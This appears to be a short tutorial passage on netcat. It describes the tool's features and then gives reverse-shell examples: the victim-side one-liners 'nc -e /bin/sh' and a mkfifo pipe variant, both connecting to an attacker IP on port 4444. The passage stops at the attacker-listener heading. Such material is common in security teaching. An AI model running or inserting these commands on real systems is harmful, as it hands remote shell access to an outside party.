nc (netcat, often called "nc" or "ncat") is a versatile command-line networking utility known as the "Swiss Army knife" for TCP/UDP communication. It can create outbound/inbound connections, listen on ports, transfer files, execute commands, proxy traffic, and scan ports by reading/writing raw data to network sockets. Key characteristics include support for IPv4/IPv6, arbitrary ports/protocols, arbitrary data piping (stdin/stdout), and multiple implementations (traditional "nc", OpenBSD nc, Ncat from Nmap).
Master nc for rapid prototyping, debugging, and security testing—but restrict its use in production environments. 🔒
Victim executes (often via vulnerable app):
# Victim (attacker IP: 10.0.0.1)
nc -e /bin/sh 10.0.0.1 4444
# Or if -e not supported (OpenBSD nc):
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 >/tmp/f
Attacker listens: